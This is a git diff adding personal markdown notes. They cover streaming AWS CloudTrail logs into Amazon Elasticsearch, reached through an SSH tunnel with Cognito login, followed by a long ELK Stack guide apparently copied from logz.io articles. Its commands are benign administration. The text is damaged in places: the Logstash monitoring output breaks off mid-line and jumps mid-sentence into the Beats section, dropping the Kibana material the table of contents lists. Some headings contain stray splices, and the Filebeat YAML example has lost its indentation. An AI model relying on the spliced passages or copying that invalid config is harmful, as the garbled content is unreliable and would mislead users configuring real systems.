![pic](https://d2908q01vomqb2.cloudfront.net/972a67c48192728a34979d9a35164c1295401b71/2020/08/11/Cognito_Authorization-1024x463.png) +11. Amazon ES domain access policy: access policy similar to the following and update the placeholders: + + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:sts:::assumed-role/Cognito_Auth_Role/CognitoIdentityCredentials" + }, + "Action": "es:*", + "Resource": "arn:aws:es:us-west-2: :domain//*" + } + ] + } + + +12. Select all the encryption options. +13. Confirm all the configurations and create the domain. + +--- + +### Creating an EC2 instance + +the SSH tunnel +- create an EC2 instance in the same VPC, where you created the Amazon ES domain.  +- configure the security group rules for the EC2 instance. + - **Create an EC2 instance and configure security group rules** section in [How can I use an SSH tunnel to access Kibana from outside of a VPC with Amazon Cognito authentication?](https://aws.amazon.com/premiumsupport/knowledge-center/kibana-outside-vpc-ssh-elasticsearch/) + + +--- + +### Configuring a proxy + +To access the Kibana dashboard +- configure a proxy. +- Configure the SOCKS proxy section in [How can I use an SSH tunnel to access Kibana from outside of a VPC with Amazon Cognito authentication?](https://aws.amazon.com/premiumsupport/knowledge-center/kibana-outside-vpc-ssh-elasticsearch/) +- use an [NGINX proxy](https://aws.amazon.com/premiumsupport/knowledge-center/kibana-outside-vpc-nginx-elasticsearch/) setting or a [Client VPN](https://docs.aws.amazon.com/vpn/latest/clientvpn-user/user-getting-started.html) to establish this secure connection. + + +--- + + +### Creating an SSH tunnel +After you complete these steps, create an SSH tunnel to access the Kibana dashboard from the local machine (outside VPC). + +1. Run the following command from the local machine that you use to access the Kibana dashboard. + - Replace _mykeypair.pem_ with the key pair for the EC2 instance + - replace change _public\_dns\_name_ with the public DNS of the _tunnel\_ec2_ EC2 instance.                          + - `ssh -i "mykeypair.pem" ec2-user@public_dns_name -ND 8157` +2. Enter the Kibana endpoint in the browser. + - The Amazon Cognito login page for Kibana appears. +3. Use the Amazon Cognito user ID and password to log in to the dashboard. + + +--- + + +### Streaming CloudWatch Logs data to Amazon ES + +- the Amazon ES cluster is ready to use +- configure a CloudWatch Logs log group + - stream the data it receives to the Amazon ES cluster in near-real time through a CloudWatch Logs subscription. + - [Streaming CloudWatch Logs Data to Amazon Elasticsearch Service](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/CWL_ES_Stream.html). +- For **Log format**, choose **AWS CloudTrail**. +- When the sample testing is complete, start streaming the events to Amazon ES. +- You get a notification when successfully start streaming. + - ![pic](https://d2908q01vomqb2.cloudfront.net/972a67c48192728a34979d9a35164c1295401b71/2020/08/11/ES-Start-Streaming.png) + +- When the subscription filter starts streaming the data to the Amazon ES domain, you get a confirmation message + - ![pic](https://d2908q01vomqb2.cloudfront.net/972a67c48192728a34979d9a35164c1295401b71/2020/08/11/ES-Start-Streaming-Success-1024x55.png) + + +- On the Amazon ES console, after a few minutes, activities shows in the **Key performance indicators** section. + - The following screenshot shows an increase in **Indexing rate**. + - ![pic](https://d2908q01vomqb2.cloudfront.net/972a67c48192728a34979d9a35164c1295401b71/2020/08/11/Key-Performance-Indicator-1024x526.png) + + - You can also see an increase in the Searchable documents counts. + - ![pic](https://d2908q01vomqb2.cloudfront.net/972a67c48192728a34979d9a35164c1295401b71/2020/08/11/Searchable_Document-1024x398.png) + + +--- + +### Visualizing the CloudTrail events using Kibana + + +access the Kibana endpoint shown in the Amazon ES cluster overview and create a dashboard. + +1. On the Amazon ES console, choose the domain. +2. On the Overview page, copy the Kibana endpoint. +3. In the web browser, choose Use proxy Kibana Proxy for all URLs to enable FoxyProxy. +4. When prompted, enter the Amazon Cognito user name and password to log in to Kibana. +5. On the Add Data to Kibana page + - choose Use Elasticsearch data, + - and connect to the Amazon ES index. + - ![pic](https://d2908q01vomqb2.cloudfront.net/972a67c48192728a34979d9a35164c1295401b71/2020/08/11/Kibana-Fornt-Page.png) +6. When you’re connected, enter _cwl-\*_ as the index pattern. +7. Enter _eventTime_ as the time filter field. + +8. now go to the **Discover** tab + - to add specific fields as filters and search for them. In the following screenshot, I selected fields specific to error events logged in CloudTrail to find the issues. + +![pic](https://d2908q01vomqb2.cloudfront.net/972a67c48192728a34979d9a35164c1295401b71/2020/08/11/dashboard-1-1024x487.png) diff --git a/_posts/01Cloud/01AWS/ELK/Elasticsearch.md b/_posts/01Cloud/01AWS/ELK/Elasticsearch.md new file mode 100644 index 00000000000..170022cd8b9 --- /dev/null +++ b/_posts/01Cloud/01AWS/ELK/Elasticsearch.md @@ -0,0 +1,1597 @@ + +- [Elasticsearch](#elasticsearch) + - [What is Elasticsearch?](#what-is-elasticsearch) + - [Basic Elasticsearch Concepts](#basic-elasticsearch-concepts) + - [Index](#index) + - [Documents](#documents) + - [Types](#types) + - [Mapping](#mapping) + - [Shards](#shards) + - [Replicas](#replicas) + - [Elasticsearch Queries](#elasticsearch-queries) + - [Boolean Operators](#boolean-operators) + - [Fields](#fields) + - [Ranges](#ranges) + - [Wildcards, Regexes and Fuzzy Searching](#wildcards-regexes-and-fuzzy-searching) + - [URI Search](#uri-search) + - [Elasticsearch REST API](#elasticsearch-rest-api) + - [Elasticsearch Document API](#elasticsearch-document-api) + - [Elasticsearch Search API](#elasticsearch-search-api) + - [Elasticsearch Indices API](#elasticsearch-indices-api) + - [Elasticsearch Cluster API](#elasticsearch-cluster-api) + - [Elasticsearch Plugins](#elasticsearch-plugins) + - [Plugin Categories](#plugin-categories) + - [Installing Elasticsearch Plugins](#installing-elasticsearch-plugins) +- [Logstash](#logstash) + - [What is Logstash?](#what-is-logstash) + - [Logstash Configuration](#logstash-configuration) + - [Input plugins](#input-plugins) + - [Filter plugins](#filter-plugins) + - [Output plugins](#output-plugins) + - [Logstash Codecs](#logstash-codecs) + - [Configuration example](#configuration-example) + - [Input section](#input-section) + - [Filter section](#filter-section) + - [Output section](#output-section) + - [Complete example](#complete-example) + - [Logstash pitfalls](#logstash-pitfalls) + - [Monitoring Logstash](#monitoring-logstash) +- [Kibana](#kibana) + - [What is Kibana?](#what-is-kibana) + - [Kibana searches cheat sheet](#kibana-searches-cheat-sheet) + - [Kibana autocomplete](#kibana-autocomplete) + - [Kibana visualizations](#kibana-visualizations) + - [Visualization types](#visualization-types) + - [Kibana dashboards](#kibana-dashboards) + - [Kibana pages](#kibana-pages) + - [Kibana Elasticsearch index](#kibana-elasticsearch-index) + - [What’s next?](#whats-next) +- [Beats](#beats) + - [What are Beats?](#what-are-beats) + - [Filebeat](#filebeat) + - [Packetbeat](#packetbeat) + - [Metricbeat](#metricbeat) + - [Winlogbeat](#winlogbeat) + - [Auditbeat](#auditbeat) + - [Functionbeat](#functionbeat) + - [Configuring beats](#configuring-beats) + - [Beats modules](#beats-modules) + - [Configuration example](#configuration-example-1) + - [Configuration best practices](#configuration-best-practices) + - [What next?](#what-next) +- [ELK in Production](#elk-in-production) + - [Don’t Lose Log Data](#dont-lose-log-data) + - [Monitor Logstash/El## asticsearch Exceptions](#monitor-logstashel-asticsearch-exceptions) + - [Keep up with growth and bursts](#keep-up-with-growth-and-bursts) + - [ELK Elasticity](#elk-elasticity) + - [Kafka](#kafka) + - [Logstash](#logstash-1) + - [Elasticsearch cluster](#elasticsearch-cluster) + - [Run in Different AZs (But Not in Different Regions)](#run-in-different-azs-but-not-in-different-regions) + - [Security](#security) + - [Maintainability](#maintainability) + - [Log Data Consistency](#log-data-consistency) + - [Data Retention](#data-retention) + - [Upgrades](#upgrades) + - [Summary](#summary) +- [Common Pitfalls](#common-pitfalls) + - [Elasticsearch](#elasticsearch-1) + - [Not defining Elasticsearch mapping](#not-defining-elasticsearch-mapping) + - [Capacity Provisioning](#capacity-provisioning) + - [Oversized Template](#oversized-template) + - [Production Fine-tuning](#production-fine-tuning) + - [Logstash](#logstash-2) + - [Logstash configuration file](#logstash-configuration-file) + - [Memory consumption](#memory-consumption) + - [Slow processing](#slow-processing) + - [Key-Value Filter Plugin](#key-value-filter-plugin) + - [Kibana](#kibana-1) + - [Elasticsearch connectivity](#elasticsearch-connectivity) + - [Defining an index pattern](#defining-an-index-pattern) + - [Can not connect to Elasticsearch](#can-not-connect-to-elasticsearch) + - [Bad Kibana searches](#bad-kibana-searches) + - [Advanced settings](#advanced-settings) + - [Beats](#beats-1) + - [YAML configuration files](#yaml-configuration-files) + - [Filebeat – CPU Usage](#filebeat--cpu-usage) + - [Filebeat – Registry File](#filebeat--registry-file) + - [Filebeat – Removed or Renamed Log Files](#filebeat--removed-or-renamed-log-files) + - [Summing it up](#summing-it-up) +- [Use Cases](#use-cases) + - [Development and troubleshooting](#development-and-troubleshooting) + - [Cloud operations](#cloud-operations) + - [Application perform## ance monitoring (APM)](#application-perform-ance-monitoring-apm) + - [Security and compliance](#security-and-compliance) + - [1.Anti-DDoS](#1anti-ddos) + - [2.SIEM](#2siem) + - [Business Intelligence (BI)](#business-intelligence-bi) + - [SEO](#seo) +- [Integrations](#integrations) + - [Beats](#beats-2) + - [Web servers](#web-servers) + - [DevOps](#devops) + - [Databases](#databases) + - [AWS](#aws) + - [Docker](#docker) + - [Containers Orchestrators](#containers-orchestrators) + - [Google Cloud Platform](#google-cloud-platform) + - [Azure](#azure) + - [Security](#security-1) + - [Misc.](#misc) +- [Additional Resources](#additional-resources) + - [General](#general) + - [Elasticsearch](#elasticsearch-2) + - [Logstash](#logstash-3) + - [Kibana](#kibana-2) + - [**Frequently Asked Questions**](#frequently-asked-questions) + - [What is the ELK Stack??](#what-is-the-elk-stack) + - [What are Beats?](#what-are-beats-1) + - [What is the ELK Stack used for??](#what-is-the-elk-stack-used-for) + +--- + +# Elasticsearch + + +* [An Elasticsearch Tutorial: Getting Started](https://logz.io/blog/elasticsearch-tutorial/) +* [Elasticsearch Cheatsheet](https://logz.io/blog/elasticsearch-cheat-sheet/) +* [Elasticsearch Queries: A Thorough Guide](https://logz.io/blog/elasticsearch-queries/) +* [How to Avoid and Fix the Top 5 Elasticsearch Mistakes](https://logz.io/blog/the-top-5-elasticsearch-mistakes-how-to-avoid-them/) + + +--- + +## What is Elasticsearch? + +> Initially released in 2010, Elasticsearch is a modern search and analytics engine which is based on Apache Lucene. Completely open source and built with Java + +> Installing and using Elasticsearch: [Elasticsearch tutorial.](https://logz.io/blog/elasticsearch-tutorial/) + + +- the living heart of what is today the world’s most popular log analytics platform **the ELK Stack** + - [Elasticsearch](https://logz.io/blog/elasticsearch-tutorial/), + - [Logstash](https://logz.io/blog/logstash-tutorial/), + - and [Kibana](https://logz.io/blog/kibana-tutorial/). + +- The role played by Elasticsearch is so central that it has become synonymous with the name of the stack itself. + +- Used primarily for `search and log analysis` + +- Elasticsearch is today one of the [most popular database systems](https://db-engines.com/en/blog_post/70) available today. + + +- Elasticsearch is categorized as a NoSQL database. Elasticsearch stores data in an `unstructured` way, and up until recently you could not query the data using SQL. The new Elasticsearch SQL project will allow using SQL statements to interact with the data. You can read more on that in [this article](https://logz.io/blog/elasticsearch-sql-support/). + +- Unlike most NoSQL databases, though, Elasticsearch has a strong focus on search capabilities and features. the easiest way to get data from Elasticsearch is to search for it using its extensive [REST API](https://logz.io/blog/elasticsearch-api/). + +- In the context of data analysis, Elasticsearch is used together with the other components in the ELK Stack, Logstash and Kibana, and plays the role of data indexing and storage. + +--- + +## Basic Elasticsearch Concepts + + +> [10 Elasticsearch Concepts You Need To Learn](https://logz.io/blog/10-elasticsearch-concepts/) article. + + +Elasticsearch is a feature-rich and complex system. + +There are some basic concepts and terms that all Elasticsearch users should learn and become familiar with. Below are the 6 “must-know” concepts to start with. + +--- + +### Index + +- logical partitions of documents and can be compared to a database in the world of relational databases. + +- you could have one index containing all of the data related to the products and another with all of the data related to the customers. + +- You can have as many indices defined in Elasticsearch as you want but this can affect performance. These, in turn, will hold documents that are unique to each index. + +- Indices are identified by lowercase names that are used when performing various actions (such as searching and deleting) against the documents that are inside each index. + +--- + +### Documents + + +- JSON objects that are stored within an Elasticsearch index and are considered the base unit of storage. + - For relational databases, documents can be compared to a row in a table. + +- There is no limit to how many documents you can store in a particular index. + +- Data in documents is defined with fields comprised of keys and values. + - A key is the name of the field, + - A value can be an item of many different types such as a string, a number, a boolean expression, another object, or an array of values. + +- Documents also contain reserved fields that constitute the document metadata such as `_index`, `_type` and `_id`. + +--- + +### Types + +- are used within documents to subdivide similar types of data wherein each type represents a unique class of documents. +- Types consist of a name and a mapping and are used by adding the `__type_` field. This field can then be used for filtering when querying a specific type. + +- Types are gradually being removed from Elasticsearch. + - Starting with Elasticsearch 6, indices can have only one mapping type. + - Starting in version 7.x, specifying types in requests is deprecated. + - Starting in version 8.x, specifying types in requests will no longer be supported. + +--- + +### Mapping + +- Like a schema in the world of relational databases, mapping defines `the different types that reside within an index`. + +- It defines the fields for documents of a specific type + - the data type (such as string and integer) + - and how the fields should be indexed and stored in Elasticsearch. + +- A mapping can be defined explicitly or generated automatically when a document is indexed using templates. (Templates include settings and mappings that can be applied automatically to a new index.) + +--- + +### Shards + +- **Index size** is a common cause of Elasticsearch crashes. +- There is no limit to how many documents you can store on each index, + - an index may take up an amount of disk space that exceeds the limits of the hosting server. + - As soon as an index approaches this limit, indexing will begin to fail. + +- One way to counter this problem is split up indices horizontally into pieces called **shards**. + - This distribute operations across shards and nodes to improve performance. + - You can control the amount of shards per index and host these “index-like” shards on any node in your Elasticsearch cluster. + +--- + +### Replicas + +- To allow you to easily recover from system failures such as unexpected downtime or network issues, Elasticsearch allows users to make `copies of shards` called **replicas**. + +- Because replicas were designed to ensure high availability, they are not allocated on the same node as the shard they are copied from. + +- Similar to shards, the number of replicas can be defined when creating the index but also altered at a later stage. + + +--- + +## Elasticsearch Queries + +> Request Body Search in Elasticsearch, Query DSLand examples can be found in our: [Elasticsearch Queries: A Thorough Guide](https://logz.io/blog/elasticsearch-queries/). + +- Elasticsearch is built on top of Apache Lucene and exposes Lucene’s query syntax. Getting acquainted with the syntax and its various operators will go a long way in helping you query Elasticsearch. + +--- + +### Boolean Operators + +> supports the AND, OR, and NOT operators: + + +* **jack AND jill** — Will return events that contain both jack and jill + +* **ahab NOT moby** — Will return events that contain ahab but not moby + +* **tom OR jerry** — Will return events that contain tom or jerry, or both + +--- + +### Fields + +> Looking for events where a specific field contains certain terms. + +* **name:”Need Stark”** + +--- + + +### Ranges + +> search for fields within a specific range, using square brackets for inclusive range searches and curly braces for exclusive range searches: + + +* **age:[3 TO 10]** — Will return events with age between 3 and 10 + +* **price:{100 TO 400}** — Will return events with prices between 101 and 399 + +* **name:[Adam TO Ziggy]** — Will return names between and including Adam and Ziggy + +--- + +### Wildcards, Regexes and Fuzzy Searching + +A search would not be a search without the wildcards. + +You can use the * character for multiple character wildcards or the ? character for single character wildcards. + +--- + + +### URI Search + +The easiest way to search your Elasticsearch cluster is through **URI search**. +- You can pass a simple query to Elasticsearch using the `_q_` query parameter. +- The following query will search your whole cluster for documents with a name field equal to “travis”: + +* **curl “localhost:9200/_search?q=name:travis”** + +Combined with the **Lucene syntax**, you can build quite impressive searches. Usually, you’ll have to URL-encode characters such as spaces (it’s been omitted in these examples for clarity): + +* **curl “localhost:9200/_search?q=name:john~1 AND (age:[30 TO 40} OR surname:K*) AND -city”** + +A number of options are available that allow you to customize the URI search, specifically in terms of which analyzer to use (analyzer), whether the query should be fault-tolerant (lenient), and whether an explanation of the scoring should be provided (explain). + +Although the URI search is a simple and efficient way to query your cluster, you’ll quickly find that it doesn’t support all of the features offered to you by Elasticsearch. The full power of Elasticsearch is exposed through Request Body Search. Using Request Body Search can build a complex search request using various elements and query clauses that will match, filter, and order as well as manipulate documents based on multiple criteria. + +--- + +## Elasticsearch REST API + +- REST API can integrate, manage and query the indexed data in countless different ways. + +- Interacting with the API: use any HTTP client, but Kibana comes with a built-in tool called `Console` which can be used for this purpose. + +![pic](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7) + +![pic](https://dytvr9ot2sszz.cloudfront.net/wp-content/uploads/2019/08/kibana_consolepage.png) + +Below are some of the most common Elasticsearch API categories worth researching. +- Usage examples are available in the [Elasticsearch API 101](https://logz.io/blog/elasticsearch-api/) article. +- [Elasticsearch official documentation](https://www.elastic.co/guide/en/elasticsearch/reference/6.1/api-conventions.html) + +--- + +### Elasticsearch Document API + +- used for handling documents in Elasticsearch. +- Using these APIs, for example, you can create documents in an index, update them, move them to another index, or remove them. + +### Elasticsearch Search API + +- used to query indexed data for specific information. +- Search APIs can be applied globally, across all available indices and types, or more specifically within an index. Responses will contain matches to the specific query. + +### Elasticsearch Indices API + +- to manage indices, mappings, and templates. +- For example, you can use this API to create or delete a new index, check if a specific index exists or not, and define a new mapping for an index. + +### Elasticsearch Cluster API + +- cluster-specific API calls +- to manage and monitor your Elasticsearch cluster. +- Most of the APIs allow you to define which Elasticsearch node to call using either the internal node ID, its name or its address. + +--- + +## Elasticsearch Plugins + +Elasticsearch plugins are used to extend the basic Elasticsearch functionality in various, specific ways. (add security functionality, discovery mechanisms, and analysis capabilities to Elasticsearch). + +Elasticsearch plugins belong to two categories: [core plugins](https://github.com/elastic/elasticsearch/tree/master/plugins) or community plugins. + +The former is supplied as part of the Elasticsearch package and are maintained by the Elastic team while the latter is developed by the community and are thus separate entities with their own versioning and development cycles. + +### Plugin Categories + +* API Extension +* Alerting +* Analysis +* Discovery +* Ingest +* Management +* Mapper +* Security +* Snapshot/Restore +* Store + +--- + +### Installing Elasticsearch Plugins + +Installing core plugins is simple and is done using a `plugin manager`. + +> In the example below, I’m going to install the EC2 Discovery plugin. This plugin queries the AWS API for a list of EC2 instances based on parameters that you define in the plugin settings : + +```bash +# Plugins must be installed on every node in the cluster, and each node must be restarted after installation. +cd /usr/share/elasticsearch +sudo bin/elasticsearch-plugin install discovery-ec2 + +# To remove a plugin, use: +sudo bin/elasticsearch-plugin remove discovery-ec2 +``` + +Community plugins are a bit different as each of them has different installation instructions. + +Some community plugins are installed the same way as core plugins but require additional Elasticsearch configuration steps. + + +--- + + +# Logstash + + +* [Logstash tutorial](https://logz.io/blog/logstash-tutorial/) +* [How to debug Logstash configurations](https://logz.io/blog/debug-logstash/) +* [A guide to Logstash plugins](https://logz.io/blog/logstash-plugins/) +* [Logstash filter plugins](https://logz.io/blog/5-logstash-filter-plugins/) +* [Filebeat vs. Logstash](https://logz.io/blog/filebeat-vs-logstash/) +* [Kibana tutorial](https://logz.io/blog/kibana-tutorial/) + + +## What is Logstash? + +> In the ELK Stack, the crucial task of parsing data is given to the “L” in the stack – Logstash. + +> Installing and using Logstash in our [Logstash tutoria](https://logz.io/blog/logstash-tutorial/)l. + + +- Efficient log analysis is based on **well-structured logs**. +- The `structure` is what enables you to more easily search, analyze and visualize the data in whatever logging tool you are using. Structure is also what gives your data context. +- If possible, this structure needs to be tailored to the logs on the application level. +- In other cases, infrastructure and system logs, for example, it is up to you to give logs their structure by parsing them. + +- Logstash started out as an open source tool developed to handle the streaming of a large amount of log data from multiple sources. After being incorporated into the ELK Stack, it developed into the stack’s workhorse, in charge of also `processing the log messages, enhancing them and massaging them and then dispatching them to a defined destination for storage` (stashing). + +- Thanks to a large ecosystem of plugins, Logstash can be used to collect, enrich and transform a wide array of different data types. There are over 200 different plugins for Logstash, with a vast community making use of its extensible features. + +- Due to some inherent performance issues and design flaws, Logstash has received a decent amount of complaints from users over the years. + - [Side projects were developed](https://logz.io/blog/filebeat-vs-logstash/) to alleviate some of these issues (e.g. Lumberjack, Logstash-Forwarder, Beats), + - and [alternative log aggregators](https://logz.io/blog/fluentd-logstash/) began competing with Logstash. + +- Yet despite these flaws, Logstash still remains a crucial component of the stack. Big steps have been made to try and alleviate these pains by introducing improvements to Logstash itself, such as a brand new execution engine made available in version 7.0, all ultimately helping to make logging with ELK much more reliable than what it used to be. + + +--- + +## Logstash Configuration + +- Events aggregated and processed by Logstash go through three stages: collection, processing, and dispatching . + +- Which data is collected, how it is processed and where it is sent to, is defined in a Logstash configuration file that defines the pipeline. + +Each of these stages is defined in the Logstash **configuration** file with what are called `plugins` +- “Input” plugins for the data collection stage, +- “Filter” plugins for the processing stage, +- and “Output” plugins for the dispatching stage. +- Both the input and output plugins support [codecs](https://logz.io/blog/logstash-tutorial/) that allow you to encode or decode your data (e.g. json, multiline, plain). + +--- + +### Input plugins + +- One of the things that makes Logstash so powerful is its ability to aggregate logs and events from various sources. + - Using more than 50 input plugins for different platforms, databases and applications, Logstash can be defined to collect and process data from these sources and send them to other systems for storage and analysis. + +- The most common inputs used are: `file, beats, syslog, http, tcp, udp, stdin`, but you can ingest data from plenty of other sources. + +### Filter plugins + +- Logstash supports a number of extremely powerful filter plugins that enable `enrich, manipulate, and process logs`. These filters that makes Logstash a very **versatile and valuable tool for parsing log data**. + +- Filters can be combined with `conditional statements` to perform an action if a specific criterion is met. + +- The most common inputs used are: `grok, date, mutate, drop`. You can read more about these and other in [5 Logstash Filter Plugins](https://logz.io/blog/5-logstash-filter-plugins/). + +### Output plugins + +- As with the inputs, Logstash supports a number of output plugins that enable you to push your data to various locations, services, and technologies. + - You can store events using outputs such as `File, CSV, and S3`, convert them into messages with `RabbitMQ and SQS`, or send them to various services `like HipChat, PagerDuty, or IRC`. + - The number of combinations of inputs and outputs in Logstash makes it a really versatile event transformer. + +- Logstash events can come from multiple sources, so it’s important to check whether or not an event should be processed by a particular output. If you do not define an output, Logstash will automatically create a stdout output. An event can pass through multiple output plugins. + +### Logstash Codecs + +- Codecs can be used in both inputs and outputs. + - `Input codecs` provide a convenient way to `decode` your data before it enters the input. + - `Output codecs` provide a convenient way to `encode` your data before it leaves the output. + +Some common codecs: +* The default `“plain” codec` is for plain text with no delimitation between events +* The `“json” codec` is for encoding JSON events in inputs and decoding json messages in outputs — note that it will revert to plain text if the received payloads are not in a valid JSON format +* The `“json_lines”` codec can either to `receive and encode json events delimited by n` or to `decode JSON messages delimited by n` in outputs +* The `“rubydebug”` which is very useful in debugging, can output Logstash events as data Ruby objects + +--- + +## Configuration example + +- Logstash has a simple configuration `DSL` that enables you to `specify the inputs, outputs, and filters`, along with their specific options. +- Order matters, specifically around filters and outputs, as the configuration is basically converted into code and then executed. +- Keep this in mind when you’re writing your configs, and try to debug them. + + +### Input section + +- defines the input plugin to use. +- Each plugin has its own configuration options, which you should research before using. + +Example: +```yaml +input { + file { + path => "/var/log/apache/access.log" + start_position => "beginning" + } +} +``` + +> Here we are using the file input plugin. We entered the path to the file we want to collect, and defined the start position as beginning to process the logs from the beginning of the file. + + +### Filter section + +- defines what filter plugins we want to use, what processing we want to apply to the logs. +- Each plugin has its own configuration options, which you should research before using. + +Example: +```yaml +filter { + grok { + match => { "message" => "%{COMBINEDAPACHELOG}" } + } + date { + match => [ "timestamp" , "dd/MMM/yyyy:HH:mm:ss Z" ] + } + geoip { + source => "clientip" + } +} +``` + +In this example we are processing Apache access logs are applying: +* A `_grok_` filter that parses the log string and populates the event with the relevant information. +* A `_date_` filter to parse a date field which is a string as a _timestamp_ field (each Logstash pipeline requires a timestamp so this is a required filter). +* A `_geoip_` filter to enrich the _clientip_ field with geographical data. Using this filter will add new fields to the event (e.g. _countryname_) based on the _clientip_ field. + + +### Output section + +- defines the destination to which we want to send the logs to. +- As before, each plugin has its own configuration options, which you should research before using. + +Example: + +```yaml +output { + elasticsearch { + hosts => ["localhost:9200"] + } +} +``` + +> In this example, we are defining a locally installed instance of Elasticsearch. + + +### Complete example + +Putting it all together, the Logstash configuration file should look as follows: + +```yaml +input { + file { + path => "/var/log/apache/access.log" + start_position => "beginning" + } +} + +filter { + grok { + match => { "message" => "%{COMBINEDAPACHELOG}" } + } + + date { + match => [ "timestamp" , "dd/MMM/yyyy:HH:mm:ss Z" ] + } + + geoip { + source => "clientip" + } +} + +output { + elasticsearch { + hosts => ["localhost:9200"] + } +} +``` + +--- + +### Logstash pitfalls + +As implied above, Logstash suffers from some inherent issues that are related to its design. Logstash requires JVM to run, and this dependency can be the root cause of significant memory consumption, especially when multiple pipelines and advanced filtering are involved. + +Resource shortage, bad configuration, unnecessary use of plugins, changes in incoming logs — all of these can result in performance issues which can in turn result in data loss, especially if you have not put in place a safety net. + +There are various ways to employ this safety net, both built into Logstash as well as some that involve adding middleware components to your stack. Here is a list of some best practices that will help you avoid some of the common Logstash pitfalls: + +* Add a buffer – a recommended method involves adding a queuing layer between Logstash and the destination. The most popular methods use [Kafka](https://logz.io/blog/deploying-kafka-with-elk/), Redis and RabbitMQ. +* Persistent Queues – a built-in data resiliency feature in Logstash that can store data in an internal queue on disk. Disabled by default — you need to enable the feature in the Logstash settings file. +* Dead Letter Queues – a mechanism for storing events that could not be processed on disk. Disabled by default — you need to enable the feature in the Logstash settings file. +* Keep it simple – try and keep your Logstash configuration as simple as possible. Don’t use plugins if there is no need to do so. +* [Test your configs](https://logz.io/blog/debug-logstash/) – do not run your Logstash configuration in production until you’ve tested it in a sandbox environment. Use online tools to make sure it doesn’t break your pipeline. + +For additional pitfalls to look out for, refer to the [5 Logstash Pitfalls](https://logz.io/blog/5-logstash-pitfalls-and-how-to-avoid-them/) article. + +--- + +## Monitoring Logstash + +- Logstash automatically records some information and metrics on the node running Logstash, JVM and running pipelines that can be used to monitor performance. + +- To tap into this information, you can use [monitoring API](https://www.elastic.co/guide/en/logstash/current/monitoring-logstash.html). + +For example, you can use the Hot Threads API to view Java threads with high CPU and extended execution times: + +```bash +curl -XGET 'localhost:9600/_node/hot_threads?human=true' + +Hot threads at 2019-05-27T08:43:05+00:00, busiestThreads=10: + +================================================================================ + +3.16 % of cpu usage, state: timed_waiting, thread name: 'LogStash::Runner', thread id: 1 + +java.base@11.0.3/java.lang.Object.wait(Native Method) + +java.base@11.0.3/java.lang.Thread.join(Thread.java:1313) + + +--- +app//org.jruby.internal.runtime.NativeThread.join(NativeThread.java:75) +## + + +0.61 % of cpu usage, state: timed_waiting, thread name: '[main]>worker5', thread id: 29 + +java.base@11.0.3/jdk.internal.misc.Unsafe.park(Native Method) + +java.base@11.0.3/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + +java.base@11.0.3/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos +--- +(AbstractQueuedSynchronizer.java:2123) +## + + +0.47 % of cpu usage, state: timed_waiting, thread name: '[main]_ directory. For Filebeat, this would be _/etc/filebeat/filebeat.yml_, for Metricbeat, _/etc/metricbeat/metricbeat.yml_. And so forth. + +Beats configuration files are based on the YAML format with a dictionary containing a group of key-value pairs, but they can contain lists and strings, and various other data types. Most of the beats also include files with complete configuration examples, useful for learning the different configuration settings that can be used. Use it as a reference. + +## Beats modules + +Filebeat and Metricbeat support modules — built-in configurations and Kibana objects for specific platforms and systems. Instead of configuring these two beats, these modules will help you start out with pre-configured settings which work just fine in most cases but that you can also adjust and fine tune as you see fit. + +Filebeat modules: Apache, Auditd, Cisco, Coredns, Elasticsearch, Envoyproxy, HAProxy, Icinga, IIS, Iptables, Kafka, Kibana, Logstash, MongoDB, MySQL, Nats, NetFlow, Nginx, Osquery, Palo Alto Networks, PostgreSQL, RabbitMQ, Redis, Santa, Suricata, System, Traefik, Zeek (Bro). + +Metricbeat modules: Aerospike, Apache, AWS, Ceph, Couchbase, Docker, Dropwizard, Elasticsearch, Envoyproxy, Etcd, Golang, Graphite, HAProxy, HTTP, Jolokia, Kafka, Kibana, Kubernetes, kvm, Logstash, Memcached, MongoDB, mssql, Munin, MySQL, Nats, Nginx, PHP_FPM, PostgreSQL, Prometheus, RabbitMQ, Redis, System, traefik, uwsgi, vSphere, Windows, Zookeeper. + +--- + +## Configuration example + + +So, what does a configuration example look like? Obviously, this differs according to the beat in question. Below, however, is an example of a Filebeat configuration that is using a single prospector for tracking Puppet server logs, a JSON directive for parsing, and a local Elasticsearch instance as the output destination. + +```yaml +filebeat.prospectors: +- type: log +enabled: true +paths: +- /var/log/puppetlabs/puppetserver/puppetserver.log.json +- /var/log/puppetlabs/puppetserver/puppetserver-access.log.json +json.keys_under_root: true +output.elasticsearch: +# Array of hosts to connect to. +hosts: ["localhost:9200"] +``` + +--- + +## Configuration best practices + + +Each beat contains its own unique configuration file and configuration settings, and therefore requires its own set of instructions. Still, there are some common configuration best practices that can be outlined here to provide a solid general understanding. + +* Some beats, such as Filebeat, include full example configuration files (e.g, /etc/filebeat/filebeat.full.yml). These files include long lists all the available configuration options. +* YAML files are extremely sensitive. DO NOT use tabs when indenting your lines — only spaces. YAML configuration files for Beats are mostly built the same way, using two spaces for indentation. +* Use a text editor (I use Sublime) to edit the file. +* The ‘-’ (dash) character is used for defining new elements — be sure to preserve their indentations and the hierarchies between sub-constructs. + +Additional information and tips are available in the [Musings in YAML](https://logz.io/blog/configuring-elasticsearch-beats/) article. + +## What next? + +Beats are a great and welcome addition to the ELK Stack, taking some of the load off Logstash and making data pipelines much more reliable as a result. Logstash is still a critical component for most pipelines that involve aggregating log files since it is much more capable of advanced processing and data enrichment. + +Beats also have some glitches that you need to take into consideration. YAML configurations are always sensitive, and Filebeat, in particular, should be handled with care so as not to create resource-related issues. I cover some of the issues to be aware of in the [5 Filebeat Pitfalls](https://logz.io/blog/filebeat-pitfalls/) article. + +Read more about how to install, use and run beats in our [Beats Tutorial](https://logz.io/blog/beats-tutorial/). + +Did we miss something? Did you find a mistake? We’re relying on your feedback to keep this guide up-to-date. Please add your comments at the bottom of the page, or send them to: elk-guide@logz.io + + +--- + + +# ELK in Production + +Log management has become a must-do action for any organization to resolve problems and ensure that applications are running in a healthy manner. As such, log management has become in essence, a mission-critical system. + +When you’re troubleshooting a production issue or trying to identify a security hazard, the system must be up and running around the clock. Otherwise, you won’t be able to troubleshoot or resolve issues that arise — potentially resulting in performance degradation, downtime or security breach. A log analytics system that runs continuously can equip your organization with the means to track and locate the specific issues that are 